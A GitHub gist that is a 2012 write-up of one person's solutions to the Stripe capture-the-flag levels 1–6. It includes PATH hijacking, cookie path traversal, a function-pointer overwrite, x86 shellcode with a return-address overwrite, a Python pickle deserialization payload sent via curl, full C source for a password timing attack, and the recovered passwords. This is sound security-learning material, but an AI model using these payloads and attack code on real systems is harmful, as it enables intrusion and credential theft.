Skip to content

Instantly share code, notes, and snippets.

@idanw
Created March 17, 2012 02:36
Show Gist options
  • Save idanw/2054510 to your computer and use it in GitHub Desktop.
Save idanw/2054510 to your computer and use it in GitHub Desktop.
Stripe CTF Solutions
Stripe CTF Solutions
Author: Idan Warsawski
Here's a small description of how I did each level:
Level 01:
system("date");
Realias date to another pogram that will run "cat /home/level02/.password"
I used a simple shell script:
#!/bin/sh
cat /home/level02/.password
and overwrite the PATH variable with the directory containing the shell script:
$ PATH=`pwd`:$PATH
$ export PATH
$ /levels/level01
Current time: kxlVXUvzv
Level 02:
Vulnerability here is the fact that the value from the user supplied
cookie is fed directly to the file open function.
If we set the cookie (using a Firefox or Chrome plugin) to
../../home/level03/.password it will output the password on the web
page
Level 03:
The function index is not checked against being negative, so due to
the stack layout (specifically the fact that the input buffer is
copied to a local variable), we can find a negative index that will
alias onto the user supplied buffer. Thankfully the address of run
(0x804875b) does not have any null characters as well.
One overlap appears to be at -20 (found via experimentation using
gdb), so entering the raw hex address as an argument will allow us to
choose the run function due to the function pointer call:
perl -e 'print "cat /home/level04/.password;#ABC\x5b\x87\x04\x08"'
The ;# was added so the system call will ignore anything after the
first argument
level03@ctf6:/tmp/tmp.eH1g5J0VQx$ /levels/level03 -20 "`perl -e 'print "cat /home/level04/.password;#ABC\x5b\x87\x04\x08"'`"
i5cBbPvPCpcP
Level 04:
This level was, in my opinion, much, much harder than the level 3 and
level 5.
The issue here is the unbounded strcpy function. We can overwrite the
return address to whatever we want but there are number of issues:
1) Due to stack address randomization we can't predict the absolute
location of the stack ahead of time, which makes trying to set the
return pointer to a location on the stack very difficult. We do
have a fairly large buffer so we could implement a large nop sled
to increase our chances, but it would still be a brute force
implementation
2) We can't easily do a return to libC attack since I don't believe we
can predict the location of system or any other libC functions that
are not used ahead of time due to the *@plt helper functions.
I personally spent a bunch of hours on this, I ended up using a
generator for exec that helps get rid of null characters, and trying to
see if brute force works.
Finally, in gdb at the end of the function I noticed that eax was set
to the beginning of buf. Running objdump -d I noticed there's a
call *%eax instruction in frame_dummy. Since eax is set to the
beginning of the buffer and the stack is executable, we can overwrite
the stack pointer to that call *%eax instruction which will directly
execute our code. No nop sleds or other brute force attacks needed.
The command used is this:
/levels/level04 "`perl -e 'print "\x60\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x6c\x65\x76\x65\x6c\x30\x35\x2f\x2e\x70\x61\x73\x73\x77\x6f\x72\x64", "\x0a"x963, "\x7f\x84\x04\x08"'`"
The beginning hex characters are the generated exploit code which
calls exec on "cat /home/level05/.password", the repeated \x0a is to
simply fill up the buffer (0x0a is the newline character which also
has the effect of terminating the exec instruction) and the last hex
instructions is the address of the call *%eax instruction which
overwrites the return address. This offset was discovered to be 1036
bytes via gdb experimentation.
Password: fzfDGnSmd317
Level 05:
Here was simply take advantage of bad serialization and
regex matching. Running the code on my own machine I determined the
output format and crafted a pickle run string using examples from
http://nadiana.com/python-pickle-insecure as a template.
Exploit line:
curl 127.0.0.1:9020 -d "`perl -e 'print "this_is_the_type; job: cos\nsystem\n(S\x27cat /home/level06/.password > /tmp/tmp.zJAv4LdMhh/password\x27\ntR."'`"
Where the temp directory is changed the the current working directory.
You need to make the file "password" first and chmod to 777 in order
for it to work. The Job on the server side is overwritten to run a
system command to cat the password to the file specified.
$ cat password
SF2w8qU1QDj
Level 06:
I tried numerous approaches to this one. Due to the fork()
call right after the first incorrect password I thought by simply
merging stderr and stdout it would be easy to see, however, due to
buffering and other oddities this turned out not to work (I tested
pipes, redirection, blocking/non blocking but couldn't get it to
work). As a result I thought that by using a high resolution timer to
record when each character is read through a pipe we could perform a
differential timing attack since the fork() system call will slow down
the next iteration by hopefully a noticeable amount. Turns out it did.
I wrote a program that will brute force one character at a time and
check to see if there is an order of magnitude difference between each
outputted dot. It could possibly be automated more, but it worked well
enough for a single password.
Sample running:
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out AAAAAAA 0 2> /dev/null
POSSIBLE LETTER: t GUESS: tAAAAAA
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out thAAAAAAA 1 2> /dev/null
POSSIBLE LETTER: h GUESS: thAAAAAAA
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out thAAAAAAA 2 2> /dev/null
POSSIBLE LETTER: e GUESS: theAAAAAA
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out theAAAAAA 3 2> /dev/null
POSSIBLE LETTER: f GUESS: thefAAAAA
...
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out theflagl0eFTtT5oi0nOTxAAAAA 22 2> /dev/null
POSSIBLE LETTER: O GUESS: theflagl0eFTtT5oi0nOTxOAAAA
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out theflagl0eFTtT5oi0nOTxOAAAA 23 2> /dev/null
POSSIBLE LETTER: 5 GUESS: theflagl0eFTtT5oi0nOTxO5AAA
level06@ctf5:/tmp/tmp.z1h1qiP9qQ$ ./a.out theflagl0eFTtT5oi0nOTxO5AAA 24 2> /dev/null
Since no possible combinations were found we can guess that this is
probably the password (sans the extra As to pad the input to get more
timing results). stderr is redirected since if a clear order of
magnitude difference isn't found in the timing it repeats the test and
logs it to stderr.
The source code is quite ugly and not polished (there's a bunch of
unused code left over from repeated iterations + very little input
checking or comments), but it works for the single use case of
finding out the flag's password.
/* Stripe CTF Level 06 timing attack
*
* Compile with -lrt
*
* Arguments:
* 1) Input Password to guess, it is best to pad the
* output with junk characters to get better timing
* 2) Character to guess, indexed from 0
*
* Note, if the system load is high it can give false positives,
* running the program multiple times for each character and
* finding the intersections of the sets fixes this
*
* Author: Idan Warsawski
*/
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
const char dict[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
void get_diff(struct timespec * diff, struct timespec * start, struct timespec * end);
int num_digits(int);
int main(int argc, char ** argv)
{
int i, num_chars, mod_index;
struct timespec * times;
char buf[256], guess_buf[128];
char * known_input;
if(argc == 1)
known_input = "";
else
known_input = argv[1];
num_chars = strlen(known_input) + 1;
if(argc == 3)
mod_index = atoi(argv[2]);
else
mod_index = num_chars - 1;
strcpy(guess_buf, known_input);
guess_buf[num_chars] = 0;
times = malloc(sizeof(struct timespec) + 33 + num_chars);
//we've got 33 chars to read for the welcome screen
for(i = 0; i < sizeof(dict) - 1; i++)
{
int j;
guess_buf[mod_index] = dict[i];
sprintf(buf, "/levels/level06 /home/the-flag/.password %s > /dev/null", guess_buf);
pid_t pid;
int pipe_redir[2];
pipe(pipe_redir);
if(!(pid = fork()))
{
close(2);
dup2(pipe_redir[1], 2);
close(pipe_redir[0]);
usleep(5000);
exit(system(buf));
}
else
{
char readout[33+1+num_chars];
int delta[num_chars];
int timer_num = 0;
int status;
close(pipe_redir[1]);
clock_gettime(CLOCK_REALTIME, &times[timer_num++]);
while(timer_num < (33+1+num_chars))
{
char c;
read(pipe_redir[0], readout + timer_num - 1, 1);
//fputc(c, stdout);
clock_gettime(CLOCK_REALTIME, &times[timer_num++]);
}
waitpid(pid, &status, NULL);
if(strncmp("Welcome to the password checker!", readout, 32))
{
fprintf(stderr, "Error in output: %s\n", readout);
goto redo_round;
}
for(timer_num = 33; timer_num < (33+num_chars); timer_num++)
{
struct timespec tmp;
get_diff(&tmp, &times[timer_num], &times[timer_num + 1]);
delta[timer_num - 33] = tmp.tv_nsec;
}
//now we're going to do a simple order of magnitude
//comparision, we should have 1 time which is an order of
//magnitude higher than the others. If we don't that's a
//timing problem and we should repeat
int k, delta_high = 0, delta_low = 0, possible_index = 0;
delta_high = num_digits(delta[0]);
for(k = 1; k < num_chars - 1; k++)
{
int digits = num_digits(delta[k]);
if(digits > delta_high)
{
if(delta_low == 0)
{
delta_low = delta_high;
delta_high = digits;
possible_index = k;
}
else
{
fprintf(stderr, "Timing issue error: "
"Mag(Cur: %d, High: %d, Low: %d) "
"Index: %d, Guess: %d\n", digits, delta_high, delta_low, k, possible_index);
goto redo_round;
}
}
else if(digits < delta_high)
{
if(delta_low == 0)
{
delta_low = digits;
}
else if(digits != delta_low)
{
fprintf(stderr, "Timing issue error: "
"Mag(Cur: %d, High: %d, Low: %d) "
"Index: %d, Guess: %d\n", digits, delta_high, delta_low, k, possible_index);
goto redo_round;
}
}
else if(delta_high == digits && delta_low != 0)
{
fprintf(stderr, "Timing issue error: "
"Mag(Cur: %d, High: %d, Low: %d) "
"Index: %d, Guess: %d\n", digits, delta_high, delta_low, k, possible_index);
goto redo_round;
}
}
if(delta_low == 0)
{
goto redo_round;
}
if((possible_index - 1) != mod_index)
{
fprintf(stdout, "POSSIBLE LETTER: %c GUESS: %s\n", dict[i], guess_buf);
}
//fprintf(stdout, "Guess: %s : %d", guess_buf, possible_index);
/*for(timer_num = 32; timer_num < (33+num_chars); timer_num++)
{
fprintf(stdout, "%d: %d\t", timer_num - 31, delta[timer_num - 32]);
//fprintf(stdout, "Char %c: %d\n", readout[timer_num], tmp.tv_nsec);
}*/
//fprintf(stdout, "\n");
//exit(0);
continue;
redo_round:
i--;
}
}
return 0;
}
/* lifted from
* http://www.guyrutenberg.com/2007/09/22/profiling-code-using-clock_gettime/
*/
void get_diff(struct timespec * diff, struct timespec * start, struct timespec * end)
{
if ((end->tv_nsec-start->tv_nsec)<0) {
diff->tv_sec = end->tv_sec-start->tv_sec-1;
diff->tv_nsec = 1000000000+end->tv_nsec-start->tv_nsec;
} else {
diff->tv_sec = end->tv_sec-start->tv_sec;
diff->tv_nsec = end->tv_nsec-start->tv_nsec;
}
}
int num_digits(int n)
{
int count = 0;
do
{
count++;
n /= 10;
}
while(n != 0);
return count;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment